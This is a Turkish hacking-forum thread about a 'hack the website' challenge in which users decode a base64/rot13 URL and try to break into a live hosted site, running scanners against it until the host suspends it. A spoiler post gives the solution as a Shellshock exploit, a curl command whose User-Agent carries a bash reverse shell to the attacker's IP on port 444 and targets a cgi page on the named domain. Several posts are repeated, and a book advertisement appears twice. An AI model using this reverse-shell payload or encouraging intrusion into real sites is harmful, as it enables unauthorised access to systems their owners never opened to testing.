vuln'ı sabah bulduk da sitenin acılmasını bekledik, dısarı cıktık site acıldı :/ sahurdan sonra hekleyip gnderiyorum. %40 indirimli olarak "Centos Sistem ve Sunucu Ynetimi" adlı kitabımızı satın alarak, Linux üzerine yapılacak olan devam projeleri icin destekte bulunabilirsiniz : http://www.hepsiburada.com/centos-sistem-ve-sunucu-yonetimi-oku-izle-dinle-ogren-p-KKODLAB01579

site genel olarak statik. yapan varsa pm atsa makbule geçer merak ettim telden bakmak sıkıntı

yok mu hackleyen not: acunetix crawler gibi şeylerle uğraşmayın shellde aramayın bruteforce ile dün aynı anda 10 kişi acunetix açınca susp yedi Site açıldı mı iyibu! yeniden..

ev falan güzelmiş hocamda harbi kafa basmadı alkollu kafayla anca siteyi denkledim

SPOILER COZUMU SPOILER COZUMU bunu bir kişinin çzebilmesi beni şaşırttı açıkcası çok fazla deneeyen oldu zellikle acunetixler dirbusterlar havalarda ucuştu bu challangeta ancak yanlış yapıldı hep şimdi ncelikle kriptu base64 ve ro13 olarak iki kere şifrelendi http://runakay502.com domainine ulaışıyor çzdürüldügünde // base64decode. org/ http://rot13.com buradaki güvenlik açıgı ise yazılımsal bir açık degil sistemsel bir açık bash sistemindeki açık sayesinde siteye backconnect yaparak dosyayı düzenleyecektiniz bkz: https://en. wikipedia. org/wiki/Shellshock_ terminale girip curl -A ' ; /bin/bash -i >& /dev/tcp/ipadresimiz/444 0>&1' http://www.runakay502.com/cgi-sys/suspendedpage. cgi bu şekilde en basitinden curl ile kendi ip adresimize 444. porttan backconnect yapmaya olana sağladık ( tabikide o aanda kendi ağımızda 444. portumuzu listen etmemiz gerekiyor ki bağlanalım ) SPOILER COZUMU SPOILER COZUMU "

dWdnYzovL2pqai5laGFueG5sNTAyLnBieg ipucu 13 ugurlu rakamdır KURALLAR 1. Kriptoyu çzün. 2. Sistemde açık bulun.3. tbt.html dosyasına isminizi yazıp bana m atın. ( birincisi için http://www.tahribat.com/Forum/Meydan_Okuma Hack_Website_Test-208426 ) Not: lütfen siteye zarar vermeyin sisteme girerseniz ki devamlılığı sağlayabileyelim. NOT: eğer çzdüyseniz veya çzme yolunda aşama yol aldıysanız lütfen spoiler vermeyin Başarılar.. Çzebilenler.. 1- ANDREI2-.. Allura tarafından 04/Tem/15 01:35 tarihinde düzenlenmiştir "

İpucu yetersiz. Kilit kelime olsaydı bir tane iyiydi. Kuru kuru url zor oldu. hocam ipucu o meshur unlu algritmanin kac haneli oldugunu gosteriyor. daha baska nasil ipucu verebilir ki :) sana burada bi tek sifrelemenin turunu bulmak ve sisteme girmek kaliyor. not: paslanmisiz :( not2: aslinda @holyone boyle bir proje yapsa tbt icin. tbt de gunluk haftalik hedefler olsa ve muritler girmeye calissa. top10 felan olsa. surekli ugrassak. eglence olur :) abdullahazad tarafından 03/Tem/15 03:04 tarihinde düzenlenmiştir az insan çok huzur.

vay arkadaş mal mal bakmak ne ktü bişeymiş. .

anlasaydım da kafa yorsaydım keşke =)

site tamamda giremedik daha

heee şey la buu :D imza mı gelmiş?

Site tamam da girecek yer sıkıntılı sanki If my calculations are correct, when this baby hits eighty-eight miles per hour... you"re gonna see some serious shit.

gün aydınlansın kali hazretleri ile bakmak lazım, kullanmayı bildiğimden de değil crawler lazım bu siteye. KizilS tarafından 03/Tem/15 04:23 tarihinde düzenlenmiştir

30 dk uğraştım bişi çıkmadı. yarın devammmm

emanet bilgisayardan hallettim simdi :d ücüncüsüne de aksama dogru bakarım, güzeldi ama bu %40 indirimli olarak "Centos Sistem ve Sunucu Ynetimi" adlı kitabımızı satın alarak, Linux üzerine yapılacak olan devam projeleri icin destekte bulunabilirsiniz : http://www.hepsiburada.com/centos-sistem-ve-sunucu-yonetimi-oku-izle-dinle-ogren-p-KKODLAB01579

hosting suspend oldugu için suanda iptal oldu meydan okuma yerine aynı açıklı başka bir site bulana kadar veya site gelene kadar vol 2 iptal vol1den devam edelim "

İpucu yetersiz. Kilit kelime olsaydı bir tane iyiydi. Kuru kuru url zor oldu. Anti Envato

bu konular andrei virali gibi olmuş :D

emanet bilgisayardan hallettim simdi :d ücüncüsüne de aksama dogru bakarım, güzeldi ama bu Az nce farkettim helal olsun hocam :D Girmediğim yer kalmadı hala beceremedim iyibu! yeniden..

şifre tamam da site sıkıntılı :B :|

ben birşeyler buldum ama bilgim yetersiz kaldı url yi çzmede tek tek sayarak bulmaya çalışıyorum harfleri :(

This Account Has Been Suspended Kim yaptı bunu :( iyibu! yeniden..

İpucu veriyorum: base64 rot13 /bin/bash /dev/tcp/ "

Dedim diğer sitelerden dalayım bari sunucuya kevgire dnmüş zaten diğer sitelerde gelen giden sokmuş :D + suPHP malesef. Anti Envato

Oyunun içine etmek gibi olacak ama server yol geçen hanına dnmüş zaten adasdasd edit:shell adresi kaldırıldı afasdasd Bunların haricinde, olayı sadece mevcut site ile sınırlarsak daha güzel olur gibi. Sitede 3 tane açık buldum ama exploit edemedim maalesef pcdoktor636 tarafından 04/Tem/15 00:18 tarihinde düzenlenmiştir

http://www.runakay.com/ byle bi site buldum açılmıyor. yanlış mı? 2016 ya kadar regli site doğru olması lazım 10 yıllıksieymiş aksata tarafından 03/Tem/15 23:26 tarihinde düzenlenmiştir Bazıları zgürlüğü sadece kendileri gibi düşünenlere reva grüyor...

yok mu hackleyen not: acunetix crawler gibi şeylerle uğraşmayın shellde aramayın bruteforce ile dün aynı anda 10 kişi acunetix açınca susp yedi "

kaparike bunu yazdı İpucu yetersiz. Kilit kelime olsaydı bir tane iyiydi. Kuru kuru url zor oldu. hocam ipucu o meshur unlu algritmanin kac haneli oldugunu gosteriyor. daha baska nasil ipucu verebilir ki :) sana burada bi tek sifrelemenin turunu bulmak ve sisteme girmek kaliyor. not: paslanmisiz :( not2: aslinda @holyone boyle bir proje yapsa tbt icin. tbt de gunluk haftalik hedefler olsa ve muritler girmeye calissa. top10 felan olsa. surekli ugrassak. eglence olur :) Tamam tamam sonradan çzdüm :) Anti Envato